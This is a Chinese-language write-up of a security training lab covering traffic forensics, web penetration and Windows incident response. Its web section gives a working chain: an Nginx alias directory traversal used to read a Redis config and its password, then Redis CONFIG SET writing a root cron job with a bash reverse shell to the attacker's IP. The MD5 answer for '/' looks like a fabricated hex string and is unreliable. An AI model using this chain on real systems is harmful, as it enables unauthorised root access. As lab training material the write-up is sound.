> 技术文档 > 2025一带一路平台试用-YDYL企业信息系统安全WriteUp

2025一带一路平台试用-YDYL企业信息系统安全WriteUp


附件:

1.账号信息

网站:https://new.mhxaskills.cn/

2.攻击机信息:

名称

用户名

密码

kali2023

kali

kali

win11attack

123456

admin

3.靶机信息:

名称

信息

23LLSY

匿名访问samba服务下载任务文件

23WebMessage

访问靶机web页面作答

24lResponse

用户名:Administrator,密码:g12345678.

一、流量溯源

A集团的一台服务器遭受到了恶意攻击,你现在是一名安全工程师,请你通过分析可以流量文件找出其中的蛛丝马迹。访问靶机SMB服务下载附件。

如何访问SMB服务器?

1.windows系统:

1.打开文件资源管理器

2.在输入框入\"\\\\+服务器地址\"例如我的是172.168.9.104,则输\\\\172.168.9.104

3.直接将文件拖到桌面即可

2.kali系统:

1.打开命令提示符

2.使用smbclient工具访问

3.命令语法

smbclient /// -N(匿名访问)

4.输入命令连接

5.ls列举,“get”命令下载资源

第一题:找出黑客的IP地址;

由于黑客恶意攻击要先进行大量的nmap扫描,通过会话工具分析数据出比较大的访问地址为192.168.27.128或者133,经过尝试发现是192.168.27.128,

答案:192.168.27.128

由于

第二题:提交黑客扫描的端口范围并提交黑客得到了哪些端口开放的信息,提交格式:[xxxx:xxxx]+[xxxx,xxxx,xxxx];

1.首先过滤黑客ip地址:

ip.src==192.168.27.128

2.同第一题一样,使用会话工具分析tcp标签就可以得到扫描的端口范围[1:4396]

3.最后通过对对端口从大到小排序可以得到开放的端口

4.存在的端口使用ip.srct==192.168.27.128 and tcp.flags.reset==1过滤可得到

答案:[1:4396]+[22,80,139,445,2200]

第三题:将黑客渗透进入系统后得到的用户名称作为flag提交;

1.上题开放端口中有一个不常见的2200端口,追踪该端口的流量

2.输入ip.src==192.168.27.128 and tcp.port==2200

3.追踪

4.答案:XTCMB

第四题: 分析流量包,将黑客打开的第一个文件内容解密,将解密的内容作为flag提交;

如图

由等号可知是base64加密,解密后的flag{802c00f9c252b26f}

答案:flag{802c00f9c252b26f}

第五题:分析流量包,从中获得压缩包,将其修复得到内容作为flag提交;

  1. 打开流量包,使用wireshark的导出工具,导出http对象

  1. 可以看到其中有一个名为switch.zip的压缩包,点击save将这条流量保存到桌面

  1. 点击桌面的switch.zip文件是无法直接打开的,使用bandizip无法打开的话,那试试其它工具呢?比如7-zip或者winrar,由于平台只提供了bandizip和7-zip,这里我们使用7-zip再打开试一下,可以看到是可以正常打开,但是解压文件的时候提示CRC校验错误,那就意味着这个压缩包是受到了损坏,接下来我们对这个压缩包进行修复,修复之前,我们需要先了解zip压缩包的十六进制表示。具体请看(zip 伪加密学习,压缩包十六进制数据含义分析_zip伪加密-CSDN博客)

  1. 使用010Editor打开压缩包,发现只有灰色区域,没有红色和黄色区域,并且灰色区域后紧跟着的不是504B0102,因此,我们可以尝试将504B0304后的内容与504B0102后的内容进行互换

红色框选区域和绿色框选区域的内容进行互换,互换后的内容:

正常使用bandizip打开压缩文件,出现flag.txt文件,打开flag.txt文件即可获得对应的flag:

使用010Editor重新打开修复后的switch.zip文件,发现出现了灰色、红色和黄色背景。

答案:cecs{810g04x110x2g07q}

第六题:将上题加密信息解密,密钥即为用户名。

根据第三题可知用户名为XTCMB,既需要密钥,又需要密文的密码,在所提供的解密工具里只有维吉尼亚密码可以通过密钥解密,解出来刚好cecs=flag,所以答案为:flag{810f04a110e2e07e}

二、web渗透

你是一名网络安全服务工程师,现在需要你对A集团网站进行安全防护,找出其中的漏洞点。

第一题:对目标服务器进行信息搜集,将web站点监听的端口号和版本信息作为flag值提交,提交格式:flag{端口+版本};

nmap直接扫描端口具体版本号后,8081发现为nginx服务,然后访问后确定8081为web服务端口

nmap -sV -p- 172.16.8.174

答案:flag{8081+1.20.1}

第二题:对目标服务器进行渗透测试,将触发漏洞的关键手段作为flag值提交,提交格式:flag{*****};

1.探测目标站点的隐藏目录,使用 dirb 工具进行基础目录扫描,命令如下:

dirb http://192.168.189.133:8081/

2.对这三个目录逐个进行测试发现服务器未对用户输入的路径进行严格过滤,允许通过 ../ 等字符访问上级目录。

curl http://192.168.189.133:8081/images../

3.所以手段应该是images../

答案为:flag{images../}

第三题:对目标服务器进行渗透测试,发现目标存在数据库服务,将该数据库服务的登录密码作为flag值提交,提交格式:flag{******};

1.根据第一题扫描结果发现redis访问,访问后发现设置了密码,但是前期测试已发现目标 8081 端口的 Nginx 服务存在目录穿越漏洞,触发条件为images../(即通过http://192.168.189.133:8081/images../可访问上级目录)。

2.Redis 的配置文件通常位于固定路径(Linux 系统中常见路径为/etc/redis/redis.conf/usr/local/etc/redis.conf),利用 Nginx 目录穿越漏洞尝试访问该文件。

3.构造请求 URL(通过images../穿越到根目录,再拼接 Redis 配置文件路径):

curl http://172.16.8.174:8081/images../etc/redis/redis.conf

响应结果成功返回redis.conf文件内容,其中包含密码配置项:

(注意,上面打#号的设置是已经被注释,未生效)

4.所以答案为flag{aPbacssdWd}

第四题:对目标服务器进行渗透测试,将root下目录中的flag文件内容提交,提交格式:flag{******};

1.攻击机监听反弹 Shell 端口

nc -lvvp 1234 #端口只要是非常规即可

开启本地监听,等待目标服务器通过 Cron 任务反弹 Shell 连接。

2.连接 Redis 并注入恶意定时任务

Redis 支持通过 CONFIG SET 修改数据存储路径和文件名,若有权限写入 /var/spool/cron/root(Root 用户的定时任务文件),可注入恶意命令,让系统周期性执行反弹 Shell。

(1)连接 Redis 服务
redis-cli -h 172.16.8.174 -p 6379 -a aPbacssdWd 

  • -h 172.16.8.174:目标 Redis 服务器 IP;
  • -p 6379:Redis 端口;
  • -a aPbacssdWd:Redis 密码(上题已读取)
(2)修改 Redis 数据存储路径为 Cron 目录
config set dir /var/spool/cron 

将 Redis 的 RDB 持久化目录改为 /var/spool/cron(系统定时任务存储目录,Root 的定时任务文件存于此)

(3)修改 RDB 文件名为主机名(对应 Cron 文件名)
config set dbfilename root 

将 RDB 文件名改为 root,即写入 /var/spool/cron/root 文件(覆盖 / 追加 Root 的定时任务)。

(4)注入恶意定时任务(反弹 Shell)
set cron \"\\n* * * * * /bin/bash -i >& /dev/tcp/192.168.189.128/1234 0>&1\\n\" 
(5)持久化写入(触发 RDB 存储,覆盖 Cron 文件)
save 

3.等待 Cron 触发,获取 Root 反弹 Shell

Linux 的 Cron 服务 每分钟 会检查 /var/spool/cron/root 中的任务,触发后执行反弹 Shell 命令,连接攻击机的监听端口。

如果执行成功在另一个终端则会显示

4.读取 Root 下目录的 Flag 文件

# 进入 Root 目录 cd /root # 列出目录内容,查找 flag 文件(假设文件名为 flag.txt) ls # 读取 flag 文件内容 cat flag.txt flag{eba32e2abda0056c83c6ba80aa26dd0b}

答案为:flag{eba32e2abda0056c83c6ba80aa26dd0b}

第五题:对目标服务器进行渗透测试,对目标web服务存在的漏洞点进行修复,将修复时所添加的内容进行md5加密后作为flag值提交,提交格式:flag{******};

1.进入nginx目录,查看配置文件

cd ../cd nginx #进入 Nginx 主目录cat nginx.conf #查看 Nginx 主配置文件

2.漏洞根源

Nginx 目录穿越漏洞源于 location 指令与 alias 指令的路径配置不规范。查看目标 Nginx 配置文件发现存在如下危险配置:

通过“images../”访问时会被替换为别名images/../导致目录穿越,所以只需要在location指定的别名最后添加一个斜杆即可。

3.将“/”进行MD5加密

答案:flag{b0c5c3b8d7a9e4f2a1b3c4d5e6f7a8b9}

三、应急响应

提供登录账号:Administrator,密码:q12345678.

第一题:找到黑客创建的后门用户,并将完整用户名作为flag进行提交,

  1. 打开注册表编辑器:regedit

发现非常规用户hackers$

答案为:flag{hackers$}

第二题:将后门用户创建的时间作为flag进行提交,(以最后一次修改为主) 提交格式: flag{2023/1/01 10:10:10};

影子用户创建流程为:导出注册表用户信息→删除用户→重新导入注册表生成影子用户,最后一次导入时间即为 “最后修改时间”。

  1. 查看注册表用户项的最后写入时间:
    • 在注册表Users路径下,右键异常 SID 项→“属性”→“修改时间”。
  1. 结合安全日志佐证:
    • 打开事件查看器:eventvwr.msc→“Windows 日志”→“安全”。
    • 筛选事件 ID:用户删除(4726)、注册表操作(5061,注册表值修改)。
    • 找到删除事件(4726)后的注册表修改事件(5061),其时间即为最后修改时间。

答案为:flag{2023/9/24 22:30:18}

第三题:将后门用户上传的恶意程序连接的恶意服务器IP地址作为flag进行提交, 提交格式:flag{*******};

上传恶意程序,为了权限维持. 在定时任务中发现答案.

打开任务计划程序

答案为:flag{23.234.36.237}

第四题:将恶意程序所在绝对路径作为flag进行提交, 提交格式:flag{*******};

从问题 3 的定时任务信息中提取程序路径: C:\\Windows\\Temp\\nc.exe

答案为flag{C:\\Windows\\Temp\\nc.exe}

第五题:将powerShell 执行过的历史命令中的关键信息作为flag进行提交, 提交格式:flag{*******};

PowerShell 历史命令存储在用户目录的ConsoleHost_history.txt中,记录所有执行过的命令。

  1. 定位历史文件:
    路径为:C:\\Users\\[用户名]\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt(替换[用户名]为后门用户名或管理员用户)。
  2. 打开文件查看,发现flag

答案为:flag{8751df92-07fe-41dd-fc0d-3c9206e2a1e4}